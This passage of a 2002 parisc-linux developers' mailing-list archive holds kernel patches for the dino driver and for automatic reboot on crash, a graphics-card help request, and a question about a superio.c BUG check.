	id 64CBC12134; Thu,  5 Dec 2002 17:16:09 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20021205221845.GA22847@b180.mmjgroup.com>
User-Agent: Mutt/1.4i
Resent-From: lamont@hp.com
Resent-Date: Thu, 5 Dec 2002 17:16:24 -0700
Resent-To: parisc-linux@parisc-linux.org
Resent-Message-Id: <20021206001624.EF5AB12134@security.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17034

On Thu, Dec 05, 2002 at 03:18:45PM -0700, LaMont Jones wrote:

And lets not forget the (already committed?) dino patch:

lamont

diff -ur x/kernel-source-2.4.19-hppa/drivers/gsc/dino.c kernel-source-2.4.19-hppa/drivers/gsc/dino.c
--- x/kernel-source-2.4.19-hppa/drivers/gsc/dino.c	2002-07-14 13:51:42.000000000 -0600
+++ kernel-source-2.4.19-hppa/drivers/gsc/dino.c	2002-12-04 07:07:52.000000000 -0700
@@ -251,7 +251,7 @@
 	unsigned long flags; \
 	spin_lock_irqsave(&(DINO_DEV(d)->dinosaur_pen), flags); \
 	/* tell HW which IO Port address */ \
-	gsc_writel((u32) addr & ~3, d->base_addr + DINO_PCI_ADDR); \
+	gsc_writel((u32) addr, d->base_addr + DINO_PCI_ADDR); \
 	/* generate I/O PORT read cycle */ \
 	v = gsc_read##type(d->base_addr+DINO_IO_DATA+(addr&mask)); \
 	spin_unlock_irqrestore(&(DINO_DEV(d)->dinosaur_pen), flags); \


From - Thu Nov 08 21:25:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chuck Slivkoff <caslivkoff@telocity.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Driver for A4071B on C100 workstation
Date: Fri, 6 Dec 2002 00:14:38 -0500
Lines: 67
Approved: news@gmane.org
Message-ID: <9DF31824-08D9-11D7-8876-000393581E44@telocity.com>
References: <F129hxhabHzpJIhRcoA0000c96c@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v548)
Content-Type: text/plain; delsp=yes; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622001 18412 80.91.229.3 (22 Nov 2014 02:06:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:41 +0000 (UTC)
Cc: derekengelhaupt@rocketmail.com,
	parisc-linux@lists.parisc-linux.org
To: "Abel Mamfoumby" <moumboungou@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec  5 22:14:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from kramer (dsl-64-128-230-1.telocity.com [64.128.230.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 108CC4829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Dec 2002 22:14:35 -0700 (MST)
Original-Received: from telocity.com (dhcp129.slivkoff.home [192.168.10.129])
	by kramer (Postfix) with ESMTP
	id 3319B4478; Fri,  6 Dec 2002 00:14:25 -0500 (EST)
In-Reply-To: <F129hxhabHzpJIhRcoA0000c96c@hotmail.com>
X-Mailer: Apple Mail (2.548)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17035

I helped a colleague get the A4071B working in a 725/100 last week.  
Config in a Cxxx box should be the same. You have to match the  
dimensions and depth of the fb, as reported by the kernel on boot.

-chuck

http://lists.debian.org/debian-hppa/2002/debian-hppa-200212/ 
msg00011.html


On Thursday, Dec 5, 2002, at 08:34 US/Eastern, Abel Mamfoumby wrote:

> I don't know how I can do to use the internal port!
>
>
>> From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
>> To: Abel Mamfoumby  
>> <moumboungou@hotmail.com>,parisc-linux@lists.parisc-linux.org
>> Subject: Re: [parisc-linux] Driver for A4071B on C100 workstation
>> Date: Thu, 28 Nov 2002 06:44:30 -0800 (PST)
>>
>>
>> I had that same card in my C180 and couldn't get it to work.  You  
>> will probably be better off using the internal graphics port on the  
>> C100.  The internal port only yields 8 bit color, but I don't think  
>> that A4071B card is supported at the moment.
>> derek
>>  Abel Mamfoumby <moumboungou@hotmail.com> wrote:Hello,
>> I have just installed The Debian HPPA Linux 3.0r0 on my workstation  
>> C100 /
>> 9000. And I have the A4071B Graphics card. Unfortunately I can't  
>> configure
>> X11. is there someone who can help me?
>> ThankU
>>
>> Moumboungou
>>
>>
>>
>>
>>
>> _________________________________________________________________
>> MSN Messenger : discutez en direct avec vos amis !
>> http://www.msn.fr/msger/default.asp
>>
>> _______________________________________________
>> parisc-linux mailing list
>> parisc-linux@lists.parisc-linux.org
>> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>>
>>
>> ---------------------------------
>> Do you Yahoo!?
>> Yahoo! Mail Plus - Powerful. Affordable. Sign up now
>
>
> _________________________________________________________________
> MSN Messenger : discutez en direct avec vos amis !  
> http://www.msn.fr/msger/default.asp
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>



From - Thu Nov 08 21:25:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: lamont@hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] towards unattended reboot
Date: Fri, 6 Dec 2002 06:52:43 -0700
Lines: 37
Approved: news@gmane.org
Message-ID: <20021206135243.GA20175@b180.mmjgroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622002 18413 80.91.229.3 (22 Nov 2014 02:06:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:42 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec  6 06:52:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dh64.b180 (b180.mmjgroup.com [192.34.35.37])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0F1514829
	for <parisc-linux@parisc-linux.org>; Fri,  6 Dec 2002 06:52:49 -0700 (MST)
Original-Received: by dh64.b180 (Postfix, from userid 1000)
	id A919F114BD; Fri,  6 Dec 2002 06:52:43 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17036

Q: Given a 2.4.19 kernel, how do you get it to automatically reboot on crash?

A: see below.  The first one breaks the loop on dumping the stack.  The
   second part resets the machine in parisc_terminate().

thoughts?
lamont

diff -ur x/kernel-source-2.4.19-hppa/arch/parisc/kernel/traps.c kernel-source-2.4.19-hppa/arch/parisc/kernel/traps.c
--- x/kernel-source-2.4.19-hppa/arch/parisc/kernel/traps.c	2002-10-19 16:25:59.000000000 -0600
+++ kernel-source-2.4.19-hppa/arch/parisc/kernel/traps.c	2002-12-06 00:07:40.000000000 -0700
@@ -148,6 +148,11 @@
 void show_stack(struct pt_regs *regs)
 {
 #if 1
+	static int tried_stack=0;
+	if (tried_stack)
+		return;
+	tried_stack++;
+
 	/* If regs->sr[7] == 0, we are on a kernel stack */
 	if (regs->sr[7] == 0) {
 
@@ -462,6 +467,12 @@
 	 * system will shut down immediately right here. */
 	pdc_soft_power_button(0);
 	
+	{
+		static int tried_once=0;
+		if (!tried_once++)
+			__raw_writel(5,0xfffe0030);
+	}
+	
 	for(;;)
 	    ;
 }


From - Thu Nov 08 21:25:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] superio.c -BUG
Date: Fri, 6 Dec 2002 15:10:01 +0100
Lines: 56
Approved: news@gmane.org
Message-ID: <3DED9B890000084D@ocpmta6.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622002 18416 80.91.229.3 (22 Nov 2014 02:06:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec  6 07:10:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id D45874829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Dec 2002 07:10:07 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18KJB4-0001Ya-00
	for <parisc-linux@lists.parisc-linux.org>; Fri, 06 Dec 2002 15:10:02 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 6 Dec 2002 15:10:01 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17037

Hi all,
>
>Working on lkcd port of Bruno Vidal on a b2k (gcc-3.0.4), I encounter th=
e
>following bug:
>Dump compression value is 0x0 ...
>Dump device index 0 ...
>Initialise iodc dump device:dump_iodc_init(): reset done
>dump_iodc_open(): get module info : 16
>dump_iodc_open(): get ENTRY INIT.
>kernel BUG at superio.c:109!
>WARNING! Stack pointer and cr30 do not correspond!
>Dumping virtual address stack instead
>
>What is troubling me in the code is the contradiction between code and
comments:
>        if ((results & 0x80) =3D=3D 0) {
>#ifndef CONFIG_SMP
>                /* HACK: need to investigate why this happens if SMP ena=
bled
>*/
>                BUG(); /* This shouldn't happen */
>#endif
>                return;
>        }
>
>[I am running here a kernel 2.4.19-pa24 + dump_patch of bruno but it is
>still  the same in 2.4.20]
>
>Can somebody could confirm me what is right: code or comment?
>
Stupid question isn't it? (Sorry I need rest)

Never the less, I would go further and notice that:
 results =3D inb(IC_PCI1+0);

I well find the declaration of inb as extern unsigned char inb(int addr);=

(in io.h) but can somebody explain me where this function is defined (I
scan all .c .h .s and do not find)?

Just to see if a wait does not have to be inserted after previous outb?

Thanks for attention,
    Joel



*************************************************************************=
*******
Controlez mieux votre consommation Internet...surfez Tiscali Complete...h=
ttp://tiscali.complete.be





From - Thu Nov 08 21:25:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] superio.c -BUG
Date: Fri, 6 Dec 2002 14:30:39 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <20021206143039.D10368@parcelfarce.linux.theplanet.co.uk>
References: <3DED9B890000084D@ocpmta6.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622002 18417 80.91.229.3 (22 Nov 2014 02:06:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec  6 07:30:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id C5AE74829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Dec 2002 07:30:44 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18KJV1-0002g7-00; Fri, 06 Dec 2002 14:30:39 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3DED9B890000084D@ocpmta6.freegates.net>; from jsoe0708@tiscali.be on Fri, Dec 06, 2002 at 03:10:01PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17038

On Fri, Dec 06, 2002 at 03:10:01PM +0100, jsoe0708@tiscali.be wrote:
> Never the less, I would go further and notice that:
>  results = inb(IC_PCI1+0);
> 
> I well find the declaration of inb as extern unsigned char inb(int addr);
> (in io.h) but can somebody explain me where this function is defined (I
> scan all .c .h .s and do not find)?

arch/parisc/kernel/pci.c, starting at line 82

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:25:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] towards unattended reboot
Date: Fri, 6 Dec 2002 11:22:27 -0500
Lines: 13
Approved: news@gmane.org
Message-ID: <20021206162227.GB8611@systemhalted>
References: <20021206135243.GA20175@b180.mmjgroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622002 18422 80.91.229.3 (22 Nov 2014 02:06:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:42 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: lamont@hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec  6 09:22:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id CEDF24829
	for <parisc-linux@parisc-linux.org>; Fri,  6 Dec 2002 09:22:32 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18KLFD-0002II-00; Fri, 06 Dec 2002 11:22:27 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	lamont@hp.com, parisc-linux@parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20021206135243.GA20175@b180.mmjgroup.com>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (61% Sync Ratio [======....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17039

> Q: Given a 2.4.19 kernel, how do you get it to automatically reboot on crash?
> 
> A: see below.  The first one breaks the loop on dumping the stack.  The
>    second part resets the machine in parisc_terminate().

Looks awesome in my opinion. I've needed something like this for my
cluster, it gets anyone when machines don't reset on crash :)

Though having this be optional seems like an important feature to add.

c.



From - Thu Nov 08 21:25:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] towards unattended reboot
Date: Fri, 06 Dec 2002 17:32:25 +0100
Organization: H.P
Lines: 44
Approved: news@gmane.org
Message-ID: <3DF0D119.A4A0F2B9@admin.france.hp.com>
References: <20021206135243.GA20175@b180.mmjgroup.com> <20021206162227.GB8611@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------3C3F53B3F25863A791CA2E80"
X-Trace: ger.gmane.org 1416622003 18423 80.91.229.3 (22 Nov 2014 02:06:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:43 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec  6 09:32:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3C9704829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Dec 2002 09:32:33 -0700 (MST)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 2386B6C2
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Dec 2002 17:32:27 +0100 (MET)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id RAA28554 for <parisc-linux@lists.parisc-linux.org>; Fri, 6 Dec 2002 17:30:32 +0100 (MET)
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.18 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17040

This is a multi-part message in MIME format.
--------------3C3F53B3F25863A791CA2E80
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: base64

SW4gdGhlIGR1bXAgZHJpdmVyLCBhdCB0aGUgZW5kIG9mIGR1bXAsIGl0IHJlYm9vdCBhdXRv
bWF0aWNhbGx5Og0KDQouLi4NCiAgICAgICAgRFVNUF9QUklOVCgiUmVib290aW5nIGluICVk
IHNlY29uZHMgLi4uIiwgcGFuaWNfdGltZW91dCk7DQogICAgICAgIGR1bXBfd2FpdF9uX21z
ZWMocGFuaWNfdGltZW91dCAqIDEwMDApOw0KICAgICAgICBtYWNoaW5lX3Jlc3RhcnQoTlVM
TCk7DQogICAgICAgIHJldHVybjsNCn0NCg0KDQpDYXJsb3MgTydEb25lbGwgd3JvdGU6DQoN
Cj4gPiBROiBHaXZlbiBhIDIuNC4xOSBrZXJuZWwsIGhvdyBkbyB5b3UgZ2V0IGl0IHRvIGF1
dG9tYXRpY2FsbHkgcmVib290IG9uIGNyYXNoPw0KPiA+DQo+ID4gQTogc2VlIGJlbG93LiAg
VGhlIGZpcnN0IG9uZSBicmVha3MgdGhlIGxvb3Agb24gZHVtcGluZyB0aGUgc3RhY2suICBU
aGUNCj4gPiAgICBzZWNvbmQgcGFydCByZXNldHMgdGhlIG1hY2hpbmUgaW4gcGFyaXNjX3Rl
cm1pbmF0ZSgpLg0KPg0KPiBMb29rcyBhd2Vzb21lIGluIG15IG9waW5pb24uIEkndmUgbmVl
ZGVkIHNvbWV0aGluZyBsaWtlIHRoaXMgZm9yIG15DQo+IGNsdXN0ZXIsIGl0IGdldHMgYW55
b25lIHdoZW4gbWFjaGluZXMgZG9uJ3QgcmVzZXQgb24gY3Jhc2ggOikNCj4NCj4gVGhvdWdo
IGhhdmluZyB0aGlzIGJlIG9wdGlvbmFsIHNlZW1zIGxpa2UgYW4gaW1wb3J0YW50IGZlYXR1
cmUgdG8gYWRkLg0KPg0KPiBjLg0KPg0KPiBfX19fX19fX19fX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fXw0KPiBwYXJpc2MtbGludXggbWFpbGluZyBsaXN0DQo+IHBh
cmlzYy1saW51eEBsaXN0cy5wYXJpc2MtbGludXgub3JnDQo+IGh0dHA6Ly9saXN0cy5wYXJp
c2MtbGludXgub3JnL21haWxtYW4vbGlzdGluZm8vcGFyaXNjLWxpbnV4DQoNCg0KDQoNCi0t
DQogICAgICAgIFZpZGFsIEJydW5vLCAoNzcwLTQyNzEpDQogICAgICAgIFNTRC1IQSBUZWFt
LCBIUC1VWCAmIExJTlVYIFN1cHBvcnQNCiAgICAgICAgYnJ1bm9fdmlkYWxAYWRtaW4uZnJh
bmNlLmhwLmNvbQ0KDQoNCg==
--------------3C3F53B3F25863A791CA2E80
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------3C3F53B3F25863A791CA2E80--



From - Thu Nov 08 21:25:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] new 2.4.20-pa10 kernel: boot pb.
Date: Fri, 06 Dec 2002 17:39:28 +0100
Organization: H.P
Lines: 42
Approved: news@gmane.org
Message-ID: <3DF0D2C0.D24A29B1@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------B527D0DA0A52C081C6A8CD95"
X-Trace: ger.gmane.org 1416622003 18427 80.91.229.3 (22 Nov 2014 02:06:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:43 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec  6 09:39:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9FE0C4829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Dec 2002 09:39:36 -0700 (MST)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id A8794BAA
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Dec 2002 17:39:29 +0100 (MET)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id RAA28949 for <parisc-linux@lists.parisc-linux.org>; Fri, 6 Dec 2002 17:37:34 +0100 (MET)
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.18 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
